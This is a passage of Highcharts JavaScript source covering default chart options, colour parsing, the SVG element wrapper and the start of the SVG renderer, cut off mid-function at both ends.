// backgroundColor: null,
/*style: {
padding: '5px'
},*/
itemStyle: {
color: '#274b6d',
fontSize: '12px'
},
itemHoverStyle: {
//cursor: 'pointer', removed as of #601
color: '#000'
},
itemHiddenStyle: {
color: '#CCC'
},
itemCheckboxStyle: {
position: ABSOLUTE,
width: '13px', // for IE precision
height: '13px'
},
// itemWidth: undefined,
// symbolWidth: 16,
symbolPadding: 5,
verticalAlign: 'bottom',
// width: undefined,
x: 0,
y: 0,
title: {
//text: null,
style: {
fontWeight: 'bold'
}
}
},
loading: {
// hideDuration: 100,
labelStyle: {
fontWeight: 'bold',
position: RELATIVE,
top: '1em'
},
// showDuration: 0,
style: {
position: ABSOLUTE,
backgroundColor: 'white',
opacity: 0.5,
textAlign: 'center'
}
},
tooltip: {
enabled: true,
animation: hasSVG,
//crosshairs: null,
backgroundColor: 'rgba(255, 255, 255, .85)',
borderWidth: 1,
borderRadius: 3,
dateTimeLabelFormats: {
millisecond: '%A, %b %e, %H:%M:%S.%L',
second: '%A, %b %e, %H:%M:%S',
minute: '%A, %b %e, %H:%M',
hour: '%A, %b %e, %H:%M',
day: '%A, %b %e, %Y',
week: 'Week from %A, %b %e, %Y',
month: '%B %Y',
year: '%Y'
},
//formatter: defaultFormatter,
headerFormat: '<span style="font-size: 10px">{point.key}</span><br/>',
pointFormat: '<span style="color:{series.color}">{series.name}</span>: <b>{point.y}</b><br/>',
shadow: true,
//shared: false,
snap: isTouchDevice ? 25 : 10,
style: {
color: '#333333',
cursor: 'default',
fontSize: '12px',
padding: '8px',
whiteSpace: 'nowrap'
}
//xDateFormat: '%A, %b %e, %Y',
//valueDecimals: null,
//valuePrefix: '',
//valueSuffix: ''
},
credits: {
enabled: true,
text: 'Highcharts.com',
href: 'http://www.highcharts.com',
position: {
align: 'right',
x: -10,
verticalAlign: 'bottom',
y: -5
},
style: {
cursor: 'pointer',
color: '#909090',
fontSize: '9px'
}
}
};
// Series defaults
var defaultPlotOptions = defaultOptions.plotOptions,
defaultSeriesOptions = defaultPlotOptions.line;
// set the default time methods
setTimeMethods();
/**
* Set the time methods globally based on the useUTC option. Time method can be either
* local time or UTC (default).
*/
function setTimeMethods() {
var useUTC = defaultOptions.global.useUTC,
GET = useUTC ? 'getUTC' : 'get',
SET = useUTC ? 'setUTC' : 'set';
timezoneOffset = ((useUTC && defaultOptions.global.timezoneOffset) || 0) * 60000;
makeTime = useUTC ? Date.UTC : function (year, month, date, hours, minutes, seconds) {
return new Date(
year,
month,
pick(date, 1),
pick(hours, 0),
pick(minutes, 0),
pick(seconds, 0)
).getTime();
};
getMinutes = GET + 'Minutes';
getHours = GET + 'Hours';
getDay = GET + 'Day';
getDate = GET + 'Date';
getMonth = GET + 'Month';
getFullYear = GET + 'FullYear';
setMinutes = SET + 'Minutes';
setHours = SET + 'Hours';
setDate = SET + 'Date';
setMonth = SET + 'Month';
setFullYear = SET + 'FullYear';
}
/**
* Merge the default options with custom options and return the new options structure
* @param {Object} options The new custom options
*/
function setOptions(options) {
// Copy in the default options
defaultOptions = merge(true, defaultOptions, options);
// Apply UTC
setTimeMethods();
return defaultOptions;
}
/**
* Get the updated default options. Until 3.0.7, merely exposing defaultOptions for outside modules
* wasn't enough because the setOptions method created a new object.
*/
function getOptions() {
return defaultOptions;
}
/**
* Handle color operations. The object methods are chainable.
* @param {String} input The input color in either rbga or hex format
*/
var rgbaRegEx = /rgba\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]?(?:\.[0-9]+)?)\s*\)/,
hexRegEx = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/,
rgbRegEx = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/;
var Color = function (input) {
// declare variables
var rgba = [], result, stops;
/**
* Parse the input color to rgba array
* @param {String} input
*/
function init(input) {
// Gradients
if (input && input.stops) {
stops = map(input.stops, function (stop) {
return Color(stop[1]);
});
// Solid colors
} else {
// rgba
result = rgbaRegEx.exec(input);
if (result) {
rgba = [pInt(result[1]), pInt(result[2]), pInt(result[3]), parseFloat(result[4], 10)];
} else {
// hex
result = hexRegEx.exec(input);
if (result) {
rgba = [pInt(result[1], 16), pInt(result[2], 16), pInt(result[3], 16), 1];
} else {
// rgb
result = rgbRegEx.exec(input);
if (result) {
rgba = [pInt(result[1]), pInt(result[2]), pInt(result[3]), 1];
}
}
}
}
}
/**
* Return the color a specified format
* @param {String} format
*/
function get(format) {
var ret;
if (stops) {
ret = merge(input);
ret.stops = [].concat(ret.stops);
each(stops, function (stop, i) {
ret.stops[i] = [ret.stops[i][0], stop.get(format)];
});
// it's NaN if gradient colors on a column chart
} else if (rgba && !isNaN(rgba[0])) {
if (format === 'rgb') {
ret = 'rgb(' + rgba[0] + ',' + rgba[1] + ',' + rgba[2] + ')';
} else if (format === 'a') {
ret = rgba[3];
} else {
ret = 'rgba(' + rgba.join(',') + ')';
}
} else {
ret = input;
}
return ret;
}
/**
* Brighten the color
* @param {Number} alpha
*/
function brighten(alpha) {
if (stops) {
each(stops, function (stop) {
stop.brighten(alpha);
});
} else if (isNumber(alpha) && alpha !== 0) {
var i;
for (i = 0; i < 3; i++) {
rgba[i] += pInt(alpha * 255);
if (rgba[i] < 0) {
rgba[i] = 0;
}
if (rgba[i] > 255) {
rgba[i] = 255;
}
}
}
return this;
}
/**
* Set the color's opacity to a given alpha value
* @param {Number} alpha
*/
function setOpacity(alpha) {
rgba[3] = alpha;
return this;
}
// initialize: parse the input
init(input);
// public methods
return {
get: get,
brighten: brighten,
rgba: rgba,
setOpacity: setOpacity
};
};
/**
* A wrapper object for SVG elements
*/
function SVGElement() {}
SVGElement.prototype = {
/**
* Initialize the SVG renderer
* @param {Object} renderer
* @param {String} nodeName
*/
init: function (renderer, nodeName) {
var wrapper = this;
wrapper.element = nodeName === 'span' ?
createElement(nodeName) :
doc.createElementNS(SVG_NS, nodeName);
wrapper.renderer = renderer;
/**
* A collection of attribute setters. These methods, if defined, are called right before a certain
* attribute is set on an element wrapper. Returning false prevents the default attribute
* setter to run. Returning a value causes the default setter to set that value. Used in
* Renderer.label.
*/
wrapper.attrSetters = {};
},
/**
* Default base for animation
*/
opacity: 1,
/**
* Animate a given attribute
* @param {Object} params
* @param {Number} options The same options as in jQuery animation
* @param {Function} complete Function to perform at the end of animation
*/
animate: function (params, options, complete) {
var animOptions = pick(options, globalAnimation, true);
stop(this); // stop regardless of animation actually running, or reverting to .attr (#607)
if (animOptions) {
animOptions = merge(animOptions, {}); //#2625
if (complete) { // allows using a callback with the global animation without overwriting it
animOptions.complete = complete;
}
animate(this, params, animOptions);
} else {
this.attr(params);
if (complete) {
complete();
}
}
},
/**
* Set or get a given attribute
* @param {Object|String} hash
* @param {Mixed|Undefined} val
*/
attr: function (hash, val) {
var wrapper = this,
key,
value,
result,
i,
child,
element = wrapper.element,
nodeName = element.nodeName.toLowerCase(), // Android2 requires lower for "text"
renderer = wrapper.renderer,
skipAttr,
titleNode,
attrSetters = wrapper.attrSetters,
shadows = wrapper.shadows,
hasSetSymbolSize,
doTransform,
ret = wrapper;
// single key-value pair
if (isString(hash) && defined(val)) {
key = hash;
hash = {};
hash[key] = val;
}
// used as a getter: first argument is a string, second is undefined
if (isString(hash)) {
key = hash;
if (nodeName === 'circle') {
key = { x: 'cx', y: 'cy' }[key] || key;
} else if (key === 'strokeWidth') {
key = 'stroke-width';
}
ret = attr(element, key) || wrapper[key] || 0;
if (key !== 'd' && key !== 'visibility' && key !== 'fill') { // 'd' is string in animation step
ret = parseFloat(ret);
}
// setter
} else {
for (key in hash) {
skipAttr = false; // reset
value = hash[key];
// check for a specific attribute setter
result = attrSetters[key] && attrSetters[key].call(wrapper, value, key);
if (result !== false) {
if (result !== UNDEFINED) {
value = result; // the attribute setter has returned a new value to set
}
// paths
if (key === 'd') {
if (value && value.join) { // join path
value = value.join(' ');
}
if (/(NaN| {2}|^$)/.test(value)) {
value = 'M 0 0';
}
//wrapper.d = value; // shortcut for animations
// update child tspans x values
} else if (key === 'x' && nodeName === 'text') {
for (i = 0; i < element.childNodes.length; i++) {
child = element.childNodes[i];
// if the x values are equal, the tspan represents a linebreak
if (attr(child, 'x') === attr(element, 'x')) {
//child.setAttribute('x', value);
attr(child, 'x', value);
}
}
} else if (wrapper.rotation && (key === 'x' || key === 'y')) {
doTransform = true;
// apply gradients
} else if (key === 'fill') {
value = renderer.color(value, element, key);
// circle x and y
} else if (nodeName === 'circle' && (key === 'x' || key === 'y')) {
key = { x: 'cx', y: 'cy' }[key] || key;
// rectangle border radius
} else if (nodeName === 'rect' && key === 'r') {
attr(element, {
rx: value,
ry: value
});
skipAttr = true;
// translation and text rotation
} else if (key === 'translateX' || key === 'translateY' || key === 'rotation' ||
key === 'verticalAlign' || key === 'scaleX' || key === 'scaleY') {
doTransform = true;
skipAttr = true;
// apply opacity as subnode (required by legacy WebKit and Batik)
} else if (key === 'stroke') {
value = renderer.color(value, element, key);
// emulate VML's dashstyle implementation
} else if (key === 'dashstyle') {
key = 'stroke-dasharray';
value = value && value.toLowerCase();
if (value === 'solid') {
value = NONE;
} else if (value) {
value = value
.replace('shortdashdotdot', '3,1,1,1,1,1,')
.replace('shortdashdot', '3,1,1,1')
.replace('shortdot', '1,1,')
.replace('shortdash', '3,1,')
.replace('longdash', '8,3,')
.replace(/dot/g, '1,3,')
.replace('dash', '4,3,')
.replace(/,$/, '')
.split(','); // ending comma
i = value.length;
while (i--) {
value[i] = pInt(value[i]) * pick(hash['stroke-width'], wrapper['stroke-width']);
}
value = value.join(',');
}
// IE9/MooTools combo: MooTools returns objects instead of numbers and IE9 Beta 2
// is unable to cast them. Test again with final IE9.
} else if (key === 'width') {
value = pInt(value);
// Text alignment
} else if (key === 'align') {
key = 'text-anchor';
value = { left: 'start', center: 'middle', right: 'end' }[value];
// Title requires a subnode, #431
} else if (key === 'title') {
titleNode = element.getElementsByTagName('title')[0];
if (!titleNode) {
titleNode = doc.createElementNS(SVG_NS, 'title');
element.appendChild(titleNode);
}
titleNode.textContent = value;
}
// jQuery animate changes case
if (key === 'strokeWidth') {
key = 'stroke-width';
}
// In Chrome/Win < 6 as well as Batik, the stroke attribute can't be set when the stroke-
// width is 0. #1369
if (key === 'stroke-width' || key === 'stroke') {
wrapper[key] = value;
// Only apply the stroke attribute if the stroke width is defined and larger than 0
if (wrapper.stroke && wrapper['stroke-width']) {
attr(element, 'stroke', wrapper.stroke);
attr(element, 'stroke-width', wrapper['stroke-width']);
wrapper.hasStroke = true;
} else if (key === 'stroke-width' && value === 0 && wrapper.hasStroke) {
element.removeAttribute('stroke');
wrapper.hasStroke = false;
}
skipAttr = true;
}
// symbols
if (wrapper.symbolName && /^(x|y|width|height|r|start|end|innerR|anchorX|anchorY)/.test(key)) {
if (!hasSetSymbolSize) {
wrapper.symbolAttr(hash);
hasSetSymbolSize = true;
}
skipAttr = true;
}
// let the shadow follow the main element
if (shadows && /^(width|height|visibility|x|y|d|transform|cx|cy|r)$/.test(key)) {
i = shadows.length;
while (i--) {
attr(
shadows[i],
key,
key === 'height' ?
mathMax(value - (shadows[i].cutHeight || 0), 0) :
value
);
}
}
// validate heights
if ((key === 'width' || key === 'height') && nodeName === 'rect' && value < 0) {
value = 0;
}
// Record for animation and quick access without polling the DOM
wrapper[key] = value;
if (key === 'text') {
if (value !== wrapper.textStr) {
// Delete bBox memo when the text changes
delete wrapper.bBox;
wrapper.textStr = value;
if (wrapper.added) {
renderer.buildText(wrapper);
}
}
} else if (!skipAttr) {
//attr(element, key, value);
if (value !== undefined) {
element.setAttribute(key, value);
}
}
}
}
// Update transform. Do this outside the loop to prevent redundant updating for batch setting
// of attributes.
if (doTransform) {
wrapper.updateTransform();
}
}
return ret;
},
/**
* Add a class name to an element
*/
addClass: function (className) {
var element = this.element,
currentClassName = attr(element, 'class') || '';
if (currentClassName.indexOf(className) === -1) {
attr(element, 'class', currentClassName + ' ' + className);
}
return this;
},
/* hasClass and removeClass are not (yet) needed
hasClass: function (className) {
return attr(this.element, 'class').indexOf(className) !== -1;
},
removeClass: function (className) {
attr(this.element, 'class', attr(this.element, 'class').replace(className, ''));
return this;
},
*/
/**
* If one of the symbol size affecting parameters are changed,
* check all the others only once for each call to an element's
* .attr() method
* @param {Object} hash
*/
symbolAttr: function (hash) {
var wrapper = this;
each(['x', 'y', 'r', 'start', 'end', 'width', 'height', 'innerR', 'anchorX', 'anchorY'], function (key) {
wrapper[key] = pick(hash[key], wrapper[key]);
});
wrapper.attr({
d: wrapper.renderer.symbols[wrapper.symbolName](
wrapper.x,
wrapper.y,
wrapper.width,
wrapper.height,
wrapper
)
});
},
/**
* Apply a clipping path to this object
* @param {String} id
*/
clip: function (clipRect) {
return this.attr('clip-path', clipRect ? 'url(' + this.renderer.url + '#' + clipRect.id + ')' : NONE);
},
/**
* Calculate the coordinates needed for drawing a rectangle crisply and return the
* calculated attributes
* @param {Number} strokeWidth
* @param {Number} x
* @param {Number} y
* @param {Number} width
* @param {Number} height
*/
crisp: function (rect) {
var wrapper = this,
key,
attribs = {},
normalizer,
strokeWidth = rect.strokeWidth || wrapper.strokeWidth || (wrapper.attr && wrapper.attr('stroke-width')) || 0;
normalizer = mathRound(strokeWidth) % 2 / 2; // mathRound because strokeWidth can sometimes have roundoff errors
// normalize for crisp edges
rect.x = mathFloor(rect.x || wrapper.x || 0) + normalizer;
rect.y = mathFloor(rect.y || wrapper.y || 0) + normalizer;
rect.width = mathFloor((rect.width || wrapper.width || 0) - 2 * normalizer);
rect.height = mathFloor((rect.height || wrapper.height || 0) - 2 * normalizer);
rect.strokeWidth = strokeWidth;
for (key in rect) {
if (wrapper[key] !== rect[key]) { // only set attribute if changed
wrapper[key] = attribs[key] = rect[key];
}
}
return attribs;
},
/**
* Set styles for the element
* @param {Object} styles
*/
css: function (styles) {
var elemWrapper = this,
oldStyles = elemWrapper.styles,
newStyles = {},
elem = elemWrapper.element,
textWidth,
n,
serializedCss = '',
hyphenate,
hasNew = !oldStyles;
// convert legacy
if (styles && styles.color) {
styles.fill = styles.color;
}
// Filter out existing styles to increase performance (#2640)
if (oldStyles) {
for (n in styles) {
if (styles[n] !== oldStyles[n]) {
newStyles[n] = styles[n];
hasNew = true;
}
}
}
if (hasNew) {
textWidth = elemWrapper.textWidth = styles && styles.width && elem.nodeName.toLowerCase() === 'text' && pInt(styles.width);
// Merge the new styles with the old ones
if (oldStyles) {
styles = extend(
oldStyles,
newStyles
);
}
// store object
elemWrapper.styles = styles;
if (textWidth && (useCanVG || (!hasSVG && elemWrapper.renderer.forExport))) {
delete styles.width;
}
// serialize and set style attribute
if (isIE && !hasSVG) {
css(elemWrapper.element, styles);
} else {
/*jslint unparam: true*/
hyphenate = function (a, b) { return '-' + b.toLowerCase(); };
/*jslint unparam: false*/
for (n in styles) {
serializedCss += n.replace(/([A-Z])/g, hyphenate) + ':' + styles[n] + ';';
}
attr(elem, 'style', serializedCss); // #1881
}
// re-build text
if (textWidth && elemWrapper.added) {
elemWrapper.renderer.buildText(elemWrapper);
}
}
return elemWrapper;
},
/**
* Add an event listener
* @param {String} eventType
* @param {Function} handler
*/
on: function (eventType, handler) {
var svgElement = this,
element = svgElement.element;
// touch
if (hasTouch && eventType === 'click') {
element.ontouchstart = function (e) {
svgElement.touchEventFired = Date.now();
e.preventDefault();
handler.call(element, e);
};
element.onclick = function (e) {
if (userAgent.indexOf('Android') === -1 || Date.now() - (svgElement.touchEventFired || 0) > 1100) { // #2269
handler.call(element, e);
}
};
} else {
// simplest possible event model for internal use
element['on' + eventType] = handler;
}
return this;
},
/**
* Set the coordinates needed to draw a consistent radial gradient across
* pie slices regardless of positioning inside the chart. The format is
* [centerX, centerY, diameter] in pixels.
*/
setRadialReference: function (coordinates) {
this.element.radialReference = coordinates;
return this;
},
/**
* Move an object and its children by x and y values
* @param {Number} x
* @param {Number} y
*/
translate: function (x, y) {
return this.attr({
translateX: x,
translateY: y
});
},
/**
* Invert a group, rotate and flip
*/
invert: function () {
var wrapper = this;
wrapper.inverted = true;
wrapper.updateTransform();
return wrapper;
},
/**
* Private method to update the transform attribute based on internal
* properties
*/
updateTransform: function () {
var wrapper = this,
translateX = wrapper.translateX || 0,
translateY = wrapper.translateY || 0,
scaleX = wrapper.scaleX,
scaleY = wrapper.scaleY,
inverted = wrapper.inverted,
rotation = wrapper.rotation,
transform;
// flipping affects translate as adjustment for flipping around the group's axis
if (inverted) {
translateX += wrapper.attr('width');
translateY += wrapper.attr('height');
}
// Apply translate. Nearly all transformed elements have translation, so instead
// of checking for translate = 0, do it always (#1767, #1846).
transform = ['translate(' + translateX + ',' + translateY + ')'];
// apply rotation
if (inverted) {
transform.push('rotate(90) scale(-1,1)');
} else if (rotation) { // text rotation
transform.push('rotate(' + rotation + ' ' + (wrapper.x || 0) + ' ' + (wrapper.y || 0) + ')');
}
// apply scale
if (defined(scaleX) || defined(scaleY)) {
transform.push('scale(' + pick(scaleX, 1) + ' ' + pick(scaleY, 1) + ')');
}
if (transform.length) {
attr(wrapper.element, 'transform', transform.join(' '));
}
},
/**
* Bring the element to the front
*/
toFront: function () {
var element = this.element;
element.parentNode.appendChild(element);
return this;
},
/**
* Break down alignment options like align, verticalAlign, x and y
* to x and y relative to the chart.
*
* @param {Object} alignOptions
* @param {Boolean} alignByTranslate
* @param {String[Object} box The box to align to, needs a width and height. When the
* box is a string, it refers to an object in the Renderer. For example, when
* box is 'spacingBox', it refers to Renderer.spacingBox which holds width, height
* x and y properties.
*
*/
align: function (alignOptions, alignByTranslate, box) {
var align,
vAlign,
x,
y,
attribs = {},
alignTo,
renderer = this.renderer,
alignedObjects = renderer.alignedObjects;
// First call on instanciate
if (alignOptions) {
this.alignOptions = alignOptions;
this.alignByTranslate = alignByTranslate;
if (!box || isString(box)) { // boxes other than renderer handle this internally
this.alignTo = alignTo = box || 'renderer';
erase(alignedObjects, this); // prevent duplicates, like legendGroup after resize
alignedObjects.push(this);
box = null; // reassign it below
}
// When called on resize, no arguments are supplied
} else {
alignOptions = this.alignOptions;
alignByTranslate = this.alignByTranslate;
alignTo = this.alignTo;
}
box = pick(box, renderer[alignTo], renderer);
// Assign variables
align = alignOptions.align;
vAlign = alignOptions.verticalAlign;
x = (box.x || 0) + (alignOptions.x || 0); // default: left align
y = (box.y || 0) + (alignOptions.y || 0); // default: top align
// Align
if (align === 'right' || align === 'center') {
x += (box.width - (alignOptions.width || 0)) /
{ right: 1, center: 2 }[align];
}
attribs[alignByTranslate ? 'translateX' : 'x'] = mathRound(x);
// Vertical align
if (vAlign === 'bottom' || vAlign === 'middle') {
y += (box.height - (alignOptions.height || 0)) /
({ bottom: 1, middle: 2 }[vAlign] || 1);
}
attribs[alignByTranslate ? 'translateY' : 'y'] = mathRound(y);
// Animate only if already placed
this[this.placed ? 'animate' : 'attr'](attribs);
this.placed = true;
this.alignAttr = attribs;
return this;
},
/**
* Get the bounding box (width, height, x and y) for the element
*/
getBBox: function () {
var wrapper = this,
bBox = wrapper.bBox,
renderer = wrapper.renderer,
width,
height,
rotation = wrapper.rotation,
element = wrapper.element,
styles = wrapper.styles,
rad = rotation * deg2rad,
textStr = wrapper.textStr,
numKey;
// Since numbers are monospaced, and numerical labels appear a lot in a chart,
// we assume that a label of n characters has the same bounding box as others
// of the same length.
if (textStr === '' || numRegex.test(textStr)) {
numKey = textStr.toString().length + (styles ? ('|' + styles.fontSize + '|' + styles.fontFamily) : '');
bBox = renderer.cache[numKey];
}
// No cache found
if (!bBox) {
// SVG elements
if (element.namespaceURI === SVG_NS || renderer.forExport) {
try { // Fails in Firefox if the container has display: none.
bBox = element.getBBox ?
// SVG: use extend because IE9 is not allowed to change width and height in case
// of rotation (below)
extend({}, element.getBBox()) :
// Canvas renderer and legacy IE in export mode
{
width: element.offsetWidth,
height: element.offsetHeight
};
} catch (e) {}
// If the bBox is not set, the try-catch block above failed. The other condition
// is for Opera that returns a width of -Infinity on hidden elements.
if (!bBox || bBox.width < 0) {
bBox = { width: 0, height: 0 };
}
// VML Renderer or useHTML within SVG
} else {
bBox = wrapper.htmlGetBBox();
}
// True SVG elements as well as HTML elements in modern browsers using the .useHTML option
// need to compensated for rotation
if (renderer.isSVG) {
width = bBox.width;
height = bBox.height;
// Workaround for wrong bounding box in IE9 and IE10 (#1101, #1505, #1669, #2568)
if (isIE && styles && styles.fontSize === '11px' && height.toPrecision(3) === '16.9') {
bBox.height = height = 14;
}
// Adjust for rotated text
if (rotation) {
bBox.width = mathAbs(height * mathSin(rad)) + mathAbs(width * mathCos(rad));
bBox.height = mathAbs(height * mathCos(rad)) + mathAbs(width * mathSin(rad));
}
}
// Cache it
wrapper.bBox = bBox;
if (numKey) {
renderer.cache[numKey] = bBox;
}
}
return bBox;
},
/**
* Show the element
*/
show: function (inherit) {
return this.attr({ visibility: inherit ? 'inherit' : VISIBLE });
},
/**
* Hide the element
*/
hide: function () {
return this.attr({ visibility: HIDDEN });
},
fadeOut: function (duration) {
var elemWrapper = this;
elemWrapper.animate({
opacity: 0
}, {
duration: duration || 150,
complete: function () {
elemWrapper.hide();
}
});
},
/**
* Add the element
* @param {Object|Undefined} parent Can be an element, an element wrapper or undefined
* to append the element to the renderer.box.
*/
add: function (parent) {
var renderer = this.renderer,
parentWrapper = parent || renderer,
parentNode = parentWrapper.element || renderer.box,
childNodes,
element = this.element,
zIndex = this.zIndex,
otherElement,
otherZIndex,
i,
inserted;
if (parent) {
this.parentGroup = parent;
}
// mark as inverted
this.parentInverted = parent && parent.inverted;
// build formatted text
if (this.textStr !== undefined) {
renderer.buildText(this);
}
// mark the container as having z indexed children
if (zIndex) {
parentWrapper.handleZ = true;
zIndex = pInt(zIndex);
}
// insert according to this and other elements' zIndex
if (parentWrapper.handleZ) { // this element or any of its siblings has a z index
childNodes = parentNode.childNodes;
for (i = 0; i < childNodes.length; i++) {
otherElement = childNodes[i];
otherZIndex = attr(otherElement, 'zIndex');
if (otherElement !== element && (
// insert before the first element with a higher zIndex
pInt(otherZIndex) > zIndex ||
// if no zIndex given, insert before the first element with a zIndex
(!defined(zIndex) && defined(otherZIndex))
)) {
parentNode.insertBefore(element, otherElement);
inserted = true;
break;
}
}
}
// default: append at the end
if (!inserted) {
parentNode.appendChild(element);
}
// mark as added
this.added = true;
// fire an event for internal hooks
if (this.onAdd) {
this.onAdd();
}
return this;
},
/**
* Removes a child either by removeChild or move to garbageBin.
* Issue 490; in VML removeChild results in Orphaned nodes according to sIEve, discardElement does not.
*/
safeRemoveChild: function (element) {
var parentNode = element.parentNode;
if (parentNode) {
parentNode.removeChild(element);
}
},
/**
* Destroy the element and element wrapper
*/
destroy: function () {
var wrapper = this,
element = wrapper.element || {},
shadows = wrapper.shadows,
parentToClean = wrapper.renderer.isSVG && element.nodeName === 'SPAN' && wrapper.parentGroup,
grandParent,
key,
i;
// remove events
element.onclick = element.onmouseout = element.onmouseover = element.onmousemove = element.point = null;
stop(wrapper); // stop running animations
if (wrapper.clipPath) {
wrapper.clipPath = wrapper.clipPath.destroy();
}
// Destroy stops in case this is a gradient object
if (wrapper.stops) {
for (i = 0; i < wrapper.stops.length; i++) {
wrapper.stops[i] = wrapper.stops[i].destroy();
}
wrapper.stops = null;
}
// remove element
wrapper.safeRemoveChild(element);
// destroy shadows
if (shadows) {
each(shadows, function (shadow) {
wrapper.safeRemoveChild(shadow);
});
}
// In case of useHTML, clean up empty containers emulating SVG groups (#1960, #2393).
while (parentToClean && parentToClean.div.childNodes.length === 0) {
grandParent = parentToClean.parentGroup;
wrapper.safeRemoveChild(parentToClean.div);
delete parentToClean.div;
parentToClean = grandParent;
}
// remove from alignObjects
if (wrapper.alignTo) {
erase(wrapper.renderer.alignedObjects, wrapper);
}
for (key in wrapper) {
delete wrapper[key];
}
return null;
},
/**
* Add a shadow to the element. Must be done after the element is added to the DOM
* @param {Boolean|Object} shadowOptions
*/
shadow: function (shadowOptions, group, cutOff) {
var shadows = [],
i,
shadow,
element = this.element,
strokeWidth,
shadowWidth,
shadowElementOpacity,
// compensate for inverted plot area
transform;
if (shadowOptions) {
shadowWidth = pick(shadowOptions.width, 3);
shadowElementOpacity = (shadowOptions.opacity || 0.15) / shadowWidth;
transform = this.parentInverted ?
'(-1,-1)' :
'(' + pick(shadowOptions.offsetX, 1) + ', ' + pick(shadowOptions.offsetY, 1) + ')';
for (i = 1; i <= shadowWidth; i++) {
shadow = element.cloneNode(0);
strokeWidth = (shadowWidth * 2) + 1 - (2 * i);
attr(shadow, {
'isShadow': 'true',
'stroke': shadowOptions.color || 'black',
'stroke-opacity': shadowElementOpacity * i,
'stroke-width': strokeWidth,
'transform': 'translate' + transform,
'fill': NONE
});
if (cutOff) {
attr(shadow, 'height', mathMax(attr(shadow, 'height') - strokeWidth, 0));
shadow.cutHeight = strokeWidth;
}
if (group) {
group.element.appendChild(shadow);
} else {
element.parentNode.insertBefore(shadow, element);
}
shadows.push(shadow);
}
this.shadows = shadows;
}
return this;
}
};
/**
* The default SVG renderer
*/
var SVGRenderer = function () {
this.init.apply(this, arguments);
};
SVGRenderer.prototype = {
Element: SVGElement,
/**
* Initialize the SVGRenderer
* @param {Object} container
* @param {Number} width
* @param {Number} height
* @param {Boolean} forExport
*/
init: function (container, width, height, style, forExport) {
var renderer = this,
loc = location,
boxWrapper,
element,
desc;
boxWrapper = renderer.createElement('svg')
.attr({
version: '1.1'
})
.css(this.getStyle(style));
element = boxWrapper.element;
container.appendChild(element);
// For browsers other than IE, add the namespace attribute (#1978)
if (container.innerHTML.indexOf('xmlns') === -1) {
attr(element, 'xmlns', SVG_NS);
}
// object properties
renderer.isSVG = true;
renderer.box = element;
renderer.boxWrapper = boxWrapper;
renderer.alignedObjects = [];
// Page url used for internal references. #24, #672, #1070
renderer.url = (isFirefox || isWebKit) && doc.getElementsByTagName('base').length ?
loc.href
.replace(/#.*?$/, '') // remove the hash
.replace(/([\('\)])/g, '\\$1') // escape parantheses and quotes
.replace(/ /g, '%20') : // replace spaces (needed for Safari only)
'';
// Add description
desc = this.createElement('desc').add();
desc.element.appendChild(doc.createTextNode('Created with ' + PRODUCT + ' ' + VERSION));
renderer.defs = this.createElement('defs').add();
renderer.forExport = forExport;
renderer.gradients = {}; // Object where gradient SvgElements are stored
renderer.cache = {}; // Cache for numerical bounding boxes
renderer.setSize(width, height, false);
// Issue 110 workaround:
// In Firefox, if a div is positioned by percentage, its pixel position may land
// between pixels. The container itself doesn't display this, but an SVG element
// inside this container will be drawn at subpixel precision. In order to draw
// sharp lines, this must be compensated for. This doesn't seem to work inside
// iframes though (like in jsFiddle).
var subPixelFix, rect;
if (isFirefox && container.getBoundingClientRect) {
renderer.subPixelFix = subPixelFix = function () {
css(container, { left: 0, top: 0 });
rect = container.getBoundingClientRect();
css(container, {
left: (mathCeil(rect.left) - rect.left) + PX,
top: (mathCeil(rect.top) - rect.top) + PX
});
};
// run the fix now
subPixelFix();
// run it on resize
addEvent(win, 'resize', subPixelFix);
}
},
getStyle: function (style) {
return (this.style = extend({
fontFamily: '"Lucida Grande", "Lucida Sans Unicode", Verdana, Arial, Helvetica, sans-serif', // default font
fontSize: '12px'
}, style));
},
/**
* Detect whether the renderer is hidden. This happens when one of the parent elements
* has display: none. #608.
*/
isHidden: function () {
return !this.boxWrapper.getBBox().width;
},
/**
* Destroys the renderer and its allocated members.
*/
destroy: function () {
var renderer = this,
rendererDefs = renderer.defs;
renderer.box = null;
renderer.boxWrapper = renderer.boxWrapper.destroy();
// Call destroy on all gradient elements
destroyObjectProperties(renderer.gradients || {});
renderer.gradients = null;
// Defs are null in VMLRenderer
// Otherwise, destroy them here.
if (rendererDefs) {
renderer.defs = rendererDefs.destroy();
}
// Remove sub pixel fix handler
// We need to check that there is a handler, otherwise all functions that are registered for event 'resize' are removed
// See issue #982
if (renderer.subPixelFix) {
removeEvent(win, 'resize', renderer.subPixelFix);
}
renderer.alignedObjects = null;
return null;
},
/**
* Create a wrapper for an SVG element
* @param {Object} nodeName
*/
createElement: function (nodeName) {
var wrapper = new this.Element();
wrapper.init(this, nodeName);
return wrapper;
},
/**
* Dummy function for use in canvas renderer
*/
draw: function () {},
/**
* Parse a simple HTML string into SVG tspans
*
* @param {Object} textNode The parent text SVG node
*/
buildText: function (wrapper) {
var textNode = wrapper.element,
renderer = this,
forExport = renderer.forExport,
lines = pick(wrapper.textStr, '').toString()
.replace(/<(b|strong)>/g, '<span style="font-weight:bold">')
.replace(/<(i|em)>/g, '<span style="font-style:italic">')
.replace(/<a/g, '<span')
.replace(/<\/(b|strong|i|em|a)>/g, '</span>')
.split(/<br.*?>/g),
childNodes = textNode.childNodes,
styleRegex = /<.*style="([^"]+)".*>/,
hrefRegex = /<.*href="(http[^"]+)".*>/,
parentX = attr(textNode, 'x'),
textStyles = wrapper.styles,
width = wrapper.textWidth,
textLineHeight = textStyles && textStyles.lineHeight,
i = childNodes.length,
getLineHeight = function (tspan) {
return textLineHeight ?
pInt(textLineHeight) :
renderer.fontMetrics(
/(px|em)$/.test(tspan && tspan.style.fontSize) ?
tspan.style.fontSize :
(textStyles.fontSize || 11)
).h;
};
/// remove old text
while (i--) {
textNode.removeChild(childNodes[i]);
}
if (width && !wrapper.added) {
this.box.appendChild(textNode); // attach it to the DOM to read offset width
}
// remove empty line at end
if (lines[lines.length - 1] === '') {
lines.pop();
}
// build the lines
each(lines, function (line, lineNo) {
var spans, spanNo = 0;
line = line.replace(/<span/g, '|||<span').replace(/<\/span>/g, '</span>|||');
spans = line.split('|||');
each(spans, function (span) {
if (span !== '' || spans.length === 1) {
var attributes = {},
